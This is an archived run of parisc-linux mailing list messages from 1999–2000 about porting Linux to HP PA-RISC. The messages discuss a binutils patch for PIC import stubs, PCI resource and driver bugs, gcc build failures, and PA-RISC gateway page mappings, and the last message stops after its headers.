X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Fri Aug 18 14:15:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA14679
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 14:15:17 -0600
Original-Received: (qmail 26511 invoked by uid 15267); 18 Aug 2000 20:15:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26496 invoked from network); 18 Aug 2000 20:15:03 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 20:15:03 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13PsX5-0003R5-00; Fri, 18 Aug 2000 16:14:27 -0400
In-Reply-To: David Huggins-Daines's message of "18 Aug 2000 13:25:53 -0400"
Original-Lines: 91
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7730

David Huggins-Daines <dhd@linuxcare.com> writes:

> Alan Modra <alan@linuxcare.com.au> writes:
> > A bit of head-scratching, a couple of added functions, and the linker now
> > detects PIC functions and handles them appropriately.
> 
> Sorry to burst your bubble but this doesn't work in the real world,
> where "real world" is defined as 'hppa-linux-gcc -o hello hello.c'

Actually it wasn't so bad after all.  Here's a patch that fixes the
case of statically linked binaries, though I'm reluctant to check it
in because I'm not quite sure the logic is 100% correct; without
removing the check for defined weak symbols, we end up generating a
*lot* of useless import stubs when linking with a static libc, but
this might not be the right way to avoid this.

It's not fixed in the case of dynamically linked binaries that are
statically linked with PIC (which is basically all dynamically linked
binaries since libgcc.a is linked statically).  It might make sense to
unify the generation of import stubs and PLT slots for all PIC symbols
whether they are linked statically or dynamically, but I don't know if
I want to attempt that myself :-)

Oh, also, I've been bad about ChangeLog entries lately, sorry - should
I retroactively create some for the recent checkins I've made?

2000-08-18  David Huggins-Daines  <dhd@linuxcare.com>

	* elf32-hppa.c (final_link_relocate): Call an import stub in
          the case of statically linked PIC symbols.
          (hppa_handle_PIC_calls): Don't try to handle undefined weak
          symbols at all, and don't create import stubs for locally
          defined weak symbols unless they are PIC.

Index: bfd/elf32-hppa.c
===================================================================
RCS file: /home/cvs/parisc/binutils-2.10/bfd/elf32-hppa.c,v
retrieving revision 1.22
diff -u -r1.22 elf32-hppa.c
--- elf32-hppa.c	2000/08/18 15:25:47	1.22
+++ elf32-hppa.c	2000/08/18 20:04:42
@@ -1961,8 +1961,8 @@
       || (h->elf_link_hash_flags & ELF_LINK_HASH_NEEDS_PLT) != 0)
     {
       if (h->plt.refcount <= 0
+	  || h->root.type == bfd_link_hash_undefweak
 	  || ((h->elf_link_hash_flags & ELF_LINK_HASH_DEF_REGULAR) != 0
-	      && h->root.type != bfd_link_hash_defweak
 	      && (!info->shared || info->symbolic)
 	      && !(!info->shared
 		   && (h->root.type == bfd_link_hash_defined
@@ -1971,13 +1971,13 @@
 	{
 	  /* The .plt entry is not needed when:
 	     a) Garbage collection has removed all references to the
-	     symbol, or
-	     b) We know for certain the symbol is defined in this
-	     object, and it's not a weak definition.  Either this
-	     object is the application or we are doing a shared
-	     symbolic link.  As a special sop to the hppa ABI, we
-	     keep a .plt entry for functions in sections containing
-	     PIC code.  */
+	     symbol.
+	     b) It's an undefined weak symbol.
+	     c) We know for certain the symbol is defined in this
+	     object.  Either this object is the application or we are
+	     doing a shared symbolic link.  As a special sop to the
+	     hppa ABI, we keep a .plt entry for functions in sections
+	     containing PIC code.  */
 	  h->plt.offset = (bfd_vma) -1;
 	  h->elf_link_hash_flags &= ~ELF_LINK_HASH_NEEDS_PLT;
 	  return true;
@@ -2851,8 +2851,11 @@
     case R_PARISC_PCREL17F:
     case R_PARISC_PCREL22F:
       /* If this is a call to a function defined in another dynamic
-	 library, then find the import stub in the stub hash.  */
-      if (sym_sec == NULL || sym_sec->output_section == NULL)
+	 library, or if it is a call to a PIC function in the same
+	 object, then find the import stub in the stub hash.  */
+      if (sym_sec == NULL
+	  || sym_sec->output_section == NULL
+	  || (h != NULL && h->pic_call))
 	{
 	  stub_entry = hppa_get_stub_entry (input_section, sym_sec,
 					    h, rel, info);


-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Fri, 18 Aug 2000 15:07:51 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <200008182207.PAA07370@milano.cup.hp.com>
References: <20000818124944.A13870@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619058 2465 80.91.229.3 (22 Nov 2014 01:17:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Fri Aug 18 16:05:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA15456
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 16:05:11 -0600
Original-Received: (qmail 379 invoked by uid 15267); 18 Aug 2000 22:04:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 371 invoked from network); 18 Aug 2000 22:04:58 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 22:04:58 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 88576C2E; Fri, 18 Aug 2000 15:04:56 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA07370;
	Fri, 18 Aug 2000 15:07:53 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 18 Aug 2000 12:49:44 PDT."
             <20000818124944.A13870@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7731

Richard Hirst wrote:
> Hi,
>   The tulip driver doesn't initialise with the 2.4.0-test6 kernel
> (for me, anyway).
> The problem is that pci_resource_start (pdev, 0) in tulip_core.c
> line 1046, returns 0x0001ff00, where it should (I think) return
> 0x0000ff00.  I added a printk in drivers/pci/pci.c to show the
> start/end values as it filled in the pci_dev->resource table,
> and that showed start 0x0000ff00 end 0x0000ff7e.  Don't know
> where bit 16 gets added to start..

The bit 16 and up is the PCI bus number. The parisc PCI services use
the bus number to index into the corresponding bus services.

The driver should be using 0x0001ff00 when talking to I/O port
space services (ie inb/outb).

> I just commented out the 'goto err_out_free_netdev' in tulip_core.c
> and it now claims to mount nfs root, but cannot find init.
> I had to comment out the unregistering of pdc console to
> see that.
> 
> In 2.3.99pre8 tulip announced that the chip was at 0x1ff00 also,
> but it didn't matter because the request_region call was different.

Maybe I should take a look at the request_region() call and see what's
up there...It should be a NOP since we trust firmware to uniquely
assign I/O Port and MMIO address space (and I haven't seen any problems
where it doesn't on any platform).

> My 53c720 driver doesn't work any more either :-(

bummer...we'll get em working...

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Sat, 19 Aug 2000 09:35:40 +1000 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008190924370.28329-100000@front.linuxcare.com.au>
References: <87vgwyz5r0.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619058 2469 80.91.229.3 (22 Nov 2014 01:17:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Fri Aug 18 17:36:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA16065
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 17:36:13 -0600
Original-Received: (qmail 5032 invoked by uid 15267); 18 Aug 2000 23:35:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5008 invoked from network); 18 Aug 2000 23:35:58 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 23:35:58 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA28731;
	Sat, 19 Aug 2000 09:35:40 +1000
In-Reply-To: <87vgwyz5r0.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7732

On 18 Aug 2000, David Huggins-Daines wrote:

> David Huggins-Daines <dhd@linuxcare.com> writes:
> 
> > Alan Modra <alan@linuxcare.com.au> writes:
> > > A bit of head-scratching, a couple of added functions, and the linker now
> > > detects PIC functions and handles them appropriately.
> > 
> > Sorry to burst your bubble but this doesn't work in the real world,
> > where "real world" is defined as 'hppa-linux-gcc -o hello hello.c'

I was thingk about it in the shower this morning, and _knew_ I'd be seeing
some mail from you.  You see, I really missed the whole point:  The
special PIC stubs are really only needed when intermixing calls to dynamic
libraries and statically linked PIC routines - which case we currently
ignore.  The fully statically linked case be solved by changing gcc to
reserve r19, although I think I'll leave the code there to add the stubs
and .plt entries.  With your fixes, of course!

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Fri, 18 Aug 2000 22:04:56 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20000818220456.A32273@vodka.thepuffingroup.com>
References: <20000818124944.A13870@linuxcare.com> <200008182207.PAA07370@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619059 2470 80.91.229.3 (22 Nov 2014 01:17:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:39 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Fri Aug 18 21:10:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA17374
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 21:10:20 -0600
Original-Received: (qmail 775 invoked by uid 15267); 19 Aug 2000 03:10:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 765 invoked from network); 19 Aug 2000 03:10:03 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 19 Aug 2000 03:10:03 -0000
Original-Received: (qmail 18867 invoked from network); 19 Aug 2000 03:09:34 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 19 Aug 2000 03:09:34 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id WAA32326;
	Fri, 18 Aug 2000 22:04:56 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200008182207.PAA07370@milano.cup.hp.com>; from Grant Grundler on Fri, Aug 18, 2000 at 03:07:51PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7733

On Fri, Aug 18, 2000 at 03:07:51PM -0700, Grant Grundler wrote:
> The bit 16 and up is the PCI bus number. The parisc PCI services use
> the bus number to index into the corresponding bus services.
> 
> The driver should be using 0x0001ff00 when talking to I/O port
> space services (ie inb/outb).

ok, the problem was that we were modifying .start but not .end so length()
was negative.  see my cvs commit message for more detail.  grant, i'd
appreciate you looking that over, it is untested since i did it on the
aeroplane and i hadn't lugged an a180 with me :-)

> > My 53c720 driver doesn't work any more either :-(
> 
> bummer...we'll get em working...

this _may_ have fixed it.  richard, could you take out the tulip hack you
put in and let me know whether the 720 works now?

however, there is still at least one nasty bug.  on the c3k i was testing
with earlier today, it would hpmc while starting init.  this might be
cured now the pci resources are being mangled properly -- could have
been to do with init trying to open /dev/console perhaps?  this was an
elf sash init, fwiw.

i'm in toronto until sunday evening with no access to parisc hardware, so
don't check out a version of the tree after the LINUS_240_TEST6_PREMERGE
tag unless you want to play hunt-the-bug.  clearly i'd love it if i
checked my email on monday morning and found cvs checkins which fixed
the bugs, but i'm a dreamer :-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Sat, 19 Aug 2000 15:29:56 +1000 (EST)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008191523470.28329-100000@front.linuxcare.com.au>
References: <87vgwyz5r0.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619059 2475 80.91.229.3 (22 Nov 2014 01:17:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Fri Aug 18 23:30:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA18294
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 23:30:30 -0600
Original-Received: (qmail 1412 invoked by uid 15267); 19 Aug 2000 05:30:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1401 invoked from network); 19 Aug 2000 05:30:15 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 19 Aug 2000 05:30:15 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA02218;
	Sat, 19 Aug 2000 15:29:56 +1000
In-Reply-To: <87vgwyz5r0.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7734

On 18 Aug 2000, David Huggins-Daines wrote:

> David Huggins-Daines <dhd@linuxcare.com> writes:
> 
> > Alan Modra <alan@linuxcare.com.au> writes:
> > > A bit of head-scratching, a couple of added functions, and the linker now
> > > detects PIC functions and handles them appropriately.
> > 
> > Sorry to burst your bubble but this doesn't work in the real world,
> > where "real world" is defined as 'hppa-linux-gcc -o hello hello.c'

In some ways not having any hardware to run hppa-linux binaries on is
good, as it gives me some excuse.  :-)

Let me know how this one goes.

bfd/ChangeLog
2000-08-19  Alan Modra  <alan@linuxcare.com.au>

	* elf32-hppa.c (hppa_setup_plt_PIC_call): Move function into..
	(hppa_build_one_stub): ..here.
	(elf32_hppa_build_stubs): Don't call it.
	(elf32_hppa_create_dynamic_sections): Don't try to create the .plt
	and .got twice.
	(elf32_hppa_adjust_dynamic_symbol): Handle pic_call here.  Don't
	make symbol dynamic, and don't emit a reloc if pic_call.
	(hppa_handle_PIC_calls): Simplify as we..
	(elf32_hppa_size_dynamic_sections): ..only call hppa_handle_PIC_calls
	when not shared.  Don't create DT_PLTREL etc. entries unless we
	have a .rela.plt section.
	(elf32_hppa_finish_dynamic_symbol): Set up .plt entries with final
	relocated values when it's for a pic_call function we include in
	the link.  Don't create relocs for pic_call either.

2000-08-18  David Huggins-Daines  <dhd@linuxcare.com>

	* elf32-hppa.c (final_link_relocate): Look for an import stub in
	the case of statically linked PIC symbols.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc make failures
Date: Sat, 19 Aug 2000 02:51:03 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008190244530.18573-100000@kirin.cdf>
References: <20000818102446.A28421@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619059 2479 80.91.229.3 (22 Nov 2014 01:17:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: apark@cdf.toronto.edu  Sat Aug 19 00:51:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA32628
	for <parisc-linux@puffin.external.hp.com>; Sat, 19 Aug 2000 00:51:29 -0600
Original-Received: (qmail 3511 invoked by uid 15267); 19 Aug 2000 06:51:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3503 invoked from network); 19 Aug 2000 06:51:16 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 19 Aug 2000 06:51:16 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 9658B3C06; Sat, 19 Aug 2000 02:51:04 -0400 (EDT)
X-Sender: apark@kirin.cdf
In-Reply-To: <20000818102446.A28421@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7735

Hi, all

Just wondering ... I'm trying to build gcc, but although I passed in

	make LIBGCC2_INCLUDES=-I$DEST/include

it seems that in later stages, it forgets to include -I$DEST/include flag.
Okay, so for now I manually edited Makefile to pass in that flag, but
then I ran into the following

/local/src/puffin/gcc-build/gcc/g++ -B/local/src/puffin/gcc-build/gcc/ -B/junk/puffin/hppa1.1-linux/bin/ -L/local/src/puffin/gcc-build/hppa1.1-linux/libstdc++ -c -g -O2 -fvtable-thunks -D_GNU_SOURCE -fno-implicit-templates -I../../../gcc/libstdc++ -I../../../gcc/libstdc++/stl -I../libio -I../../../gcc/libstdc++/../libio -nostdinc++ -I/junk/puffin/include  -DF `for N in MAIN ADDCC ADDCF ADDFC SUBCC SUBCF SUBFC MULCC MULCF MULFC DIVCC DIVCF DIVFC PLUS MINUS EQCC EQCF EQFC NECC
NECF NEFC ABS ARG POLAR CONJ NORM COS COSH EXP LOG POWCC POWCF POWCI POWFC SIN SINH SQRT; do echo " -D${N}"; done` \
  ../../../gcc/libstdc++/cinst.cc -o fcomplex.o
In file included from ../../../gcc/libstdc++/complex:8,
                 from ../../../gcc/libstdc++/std/complext.cc:29,
                 from ../../../gcc/libstdc++/cinst.cc:30:
../../../gcc/libstdc++/std/complext.h:314: declaration of `double hypot (double, double)' throws
different exceptions
/junk/puffin/include/bits/mathcalls.h:150: than previous declaration `double hypot (double, double)
throw ()'
make[1]: *** [bigstmp-complx] Error 1
make[1]: Leaving directory `/usr/local/src/puffin/gcc-build/hppa1.1-linux/libstdc++'

By this I figure I might be doing something wrong, hence the e-mail.
I'll appreciate any comment.
Thanks


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
Team BlueShirt Developer                             www.blueshirt.org |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Sat, 19 Aug 2000 16:24:18 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20000819162418.E13870@linuxcare.com>
References: <20000818124944.A13870@linuxcare.com> <200008182207.PAA07370@milano.cup.hp.com> <20000818220456.A32273@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619059 2482 80.91.229.3 (22 Nov 2014 01:17:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:39 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Sat Aug 19 09:25:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA04374
	for <parisc-linux@puffin.external.hp.com>; Sat, 19 Aug 2000 09:25:29 -0600
Original-Received: (qmail 28277 invoked by uid 15267); 19 Aug 2000 15:25:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28260 invoked from network); 19 Aug 2000 15:25:16 -0000
Original-Received: from ppp-1-64.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.144.64)
  by mailserv2.iuinc.com with SMTP; 19 Aug 2000 15:25:16 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9833AB005; Sat, 19 Aug 2000 16:24:18 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000818220456.A32273@vodka.thepuffingroup.com>; from matthew@wil.cx on Fri, Aug 18, 2000 at 10:04:56PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7736

On Fri, Aug 18, 2000 at 10:04:56PM -0400, Matthew Wilcox wrote:
> this _may_ have fixed it.  richard, could you take out the tulip hack you
> put in and let me know whether the 720 works now?

720 still doesn't work; I'll look in to why that is.

> however, there is still at least one nasty bug.  on the c3k i was testing
> with earlier today, it would hpmc while starting init.  this might be
> cured now the pci resources are being mangled properly -- could have
> been to do with init trying to open /dev/console perhaps?  this was an
> elf sash init, fwiw.
> 
> i'm in toronto until sunday evening with no access to parisc hardware, so
> don't check out a version of the tree after the LINUS_240_TEST6_PREMERGE
> tag unless you want to play hunt-the-bug.  clearly i'd love it if i
> checked my email on monday morning and found cvs checkins which fixed
> the bugs, but i'm a dreamer :-)

Dream on ;-)  I've fixed drivers/char/serial.c to allocate our serial ports
from ttyS00 rather than from ttyS04, and my A180 now boots to a sash
prompt.  That got rid of the 'pci bus 0 not registered" message also.

Richard


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <helgaas@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Thu, 25 Mar 1999 17:40:11 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <199903252340.RAA08466@helgaaspc.rsn.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619060 2488 80.91.229.3 (22 Nov 2014 01:17:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:40 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: helgaas@helgaaspc.rsn.hp.com  Thu Mar 25 18:40:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id SAA31902
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 18:40:24 -0500
Original-Received: (qmail 23656 invoked by uid 15267); 25 Mar 1999 23:39:09 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 23649 invoked from network); 25 Mar 1999 23:39:09 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 23:39:09 -0000
Original-Received: from mailhost.rsn.hp.com (root@idiot.rsn.hp.com [15.99.200.11])
	by atlrel2.hp.com (8.8.6 (PHNE_14041)/8.8.5tis) with ESMTP id SAA11453
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 18:39:58 -0500 (EST)
Original-Received: from helgaaspc.rsn.hp.com (root@helgaaspc.rsn.hp.com [15.99.148.145])
	by mailhost.rsn.hp.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id RAA04747
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 17:40:12 -0600 (CST)
Original-Received: from helgaaspc.rsn.hp.com (helgaas@localhost [127.0.0.1])
	by helgaaspc.rsn.hp.com (8.8.7/8.8.7) with ESMTP id RAA08466
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 17:40:11 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7737

>> I'd suggest *not* using the same gateway page address as HP-UX. If you 
>> do, you won't be able to develop a later kernel extension to support 
>> HP-UX binaries, unless you allocate syscall numbers carefully.
>
>Doesn't that depend which gateway page you map into each application ?

Here's one of the subtleties of PA-RISC VM.  Under HP-UX, there's only one
mapping (space 0, offset 0xC0000000) that is shared by all applications.
The libc stub branches to (%sr7,0xC0000000), and %sr7 always contains
a zero while running user apps.

Sharing a mapping between applications is a performance win, because
you can share the TLB entry and you can share the physical page without
worrying about any cache flushing issues.  Since PA-RISC has virtually-
indexed caches, you can only share physical pages under limited conditions
-- see appendix F in the 2.0 arch book.

Of course, you don't *have* to share those mappings, but you will
have more TLB misses and (unless you're careful about virtual address
allocation for aliasing) more cache flushing.


From - Thu Nov 08 21:13:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Sat, 19 Aug 2000 18:22:45 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20000819182245.F13870@linuxcare.com>
References: <20000815160510.C7757@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619060 2493 80.91.229.3 (22 Nov 2014 01:17:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Sat Aug 19 11:23:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA05324
	for <parisc-linux@puffin.external.hp.com>; Sat, 19 Aug 2000 11:23:56 -0600
Original-Received: (qmail 27913 invoked by uid 15267); 19 Aug 2000 17:23:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27902 invoked from network); 19 Aug 2000 17:23:43 -0000
Original-Received: from ppp-1-51.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.144.51)
  by mailserv2.iuinc.com with SMTP; 19 Aug 2000 17:23:43 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D644AB005; Sat, 19 Aug 2000 18:22:45 +0100 (BST)
X-Mailer: Mutt 1.0us
